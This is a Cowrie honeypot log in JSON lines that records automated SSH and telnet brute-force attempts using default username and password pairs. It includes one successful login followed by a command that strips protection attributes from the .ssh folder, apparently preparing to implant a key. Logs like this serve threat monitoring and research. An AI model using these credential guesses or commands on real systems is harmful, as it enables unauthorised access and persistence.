{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:21.173538Z","src_ip":"45.156.87.254","session":"51883c4adaa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:21.262076Z","src_ip":"45.156.87.254","session":"51883c4adaa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:21.522403Z","src_ip":"45.156.87.254","session":"51883c4adaa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:22.611369Z","src_ip":"45.156.87.254","session":"51883c4adaa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.085957288742065,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:24.623431Z","src_ip":"157.51.219.207","session":"91a27db2397e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":43936,"dst_ip":"159.203.135.109","dst_port":22,"session":"9472e14973cf","protocol":"ssh","message":"New connection: 45.156.87.254:43936 (159.203.135.109:22) [session: 9472e14973cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:25.083497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:25.089789Z","src_ip":"45.156.87.254","session":"9472e14973cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:25.171899Z","src_ip":"45.156.87.254","session":"9472e14973cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:25.421075Z","src_ip":"45.156.87.254","session":"9472e14973cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:26.544945Z","src_ip":"45.156.87.254","session":"9472e14973cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53956,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc8ddbbb8151","protocol":"ssh","message":"New connection: 45.156.87.254:53956 (159.203.135.109:22) [session: dc8ddbbb8151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:28.897902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:28.951556Z","src_ip":"45.156.87.254","session":"dc8ddbbb8151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:28.995284Z","src_ip":"45.156.87.254","session":"dc8ddbbb8151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:29.334743Z","src_ip":"45.156.87.254","session":"dc8ddbbb8151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:30.421971Z","src_ip":"45.156.87.254","session":"dc8ddbbb8151","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53962,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3e969f03e66","protocol":"ssh","message":"New connection: 45.156.87.254:53962 (159.203.135.109:22) [session: e3e969f03e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:32.578505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:32.583323Z","src_ip":"45.156.87.254","session":"e3e969f03e66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:32.665600Z","src_ip":"45.156.87.254","session":"e3e969f03e66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:32.912306Z","src_ip":"45.156.87.254","session":"e3e969f03e66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:33.998013Z","src_ip":"45.156.87.254","session":"e3e969f03e66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":45740,"dst_ip":"10.17.0.5","dst_port":23,"session":"7295b9296e3a","protocol":"telnet","message":"New connection: 20.123.41.163:45740 (10.17.0.5:23) [session: 7295b9296e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:35.489177Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53970,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c52c3c1d10e","protocol":"ssh","message":"New connection: 45.156.87.254:53970 (159.203.135.109:22) [session: 9c52c3c1d10e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:36.535306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:36.541458Z","src_ip":"45.156.87.254","session":"9c52c3c1d10e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:36.629454Z","src_ip":"45.156.87.254","session":"9c52c3c1d10e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:36.877593Z","src_ip":"45.156.87.254","session":"9c52c3c1d10e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":45744,"dst_ip":"10.17.0.5","dst_port":23,"session":"8901953fffb7","protocol":"telnet","message":"New connection: 20.123.41.163:45744 (10.17.0.5:23) [session: 8901953fffb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:36.969412Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:38.084738Z","src_ip":"45.156.87.254","session":"9c52c3c1d10e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45974,"dst_ip":"159.203.135.109","dst_port":22,"session":"b48ab7f0927b","protocol":"ssh","message":"New connection: 45.156.87.254:45974 (159.203.135.109:22) [session: b48ab7f0927b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:40.356292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:40.545660Z","src_ip":"45.156.87.254","session":"b48ab7f0927b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:40.551472Z","src_ip":"45.156.87.254","session":"b48ab7f0927b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:40.923342Z","src_ip":"45.156.87.254","session":"b48ab7f0927b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:42.008902Z","src_ip":"45.156.87.254","session":"b48ab7f0927b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45980,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f31668075ce","protocol":"ssh","message":"New connection: 45.156.87.254:45980 (159.203.135.109:22) [session: 8f31668075ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:44.327902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:44.333417Z","src_ip":"45.156.87.254","session":"8f31668075ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:44.416868Z","src_ip":"45.156.87.254","session":"8f31668075ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:44.684832Z","src_ip":"45.156.87.254","session":"8f31668075ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":38814,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f05066d16a","protocol":"ssh","message":"New connection: 186.30.115.187:38814 (10.17.0.5:22) [session: c0f05066d16a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:45.730714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:45.735514Z","src_ip":"186.30.115.187","session":"c0f05066d16a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:45.771073Z","src_ip":"45.156.87.254","session":"8f31668075ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:45.830404Z","src_ip":"186.30.115.187","session":"c0f05066d16a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57776,"dst_ip":"10.17.0.5","dst_port":23,"session":"93b0f08fddd3","protocol":"telnet","message":"New connection: 104.245.105.2:57776 (10.17.0.5:23) [session: 93b0f08fddd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:45.940259Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"or@cle","message":"login attempt [oracle/or@cle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:46.243321Z","src_ip":"186.30.115.187","session":"c0f05066d16a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:46.475171Z","src_ip":"186.30.115.187","session":"c0f05066d16a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:46.478623Z","src_ip":"186.30.115.187","session":"c0f05066d16a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:48:46.482622Z","src_ip":"186.30.115.187","session":"c0f05066d16a","protocol":"ssh"}
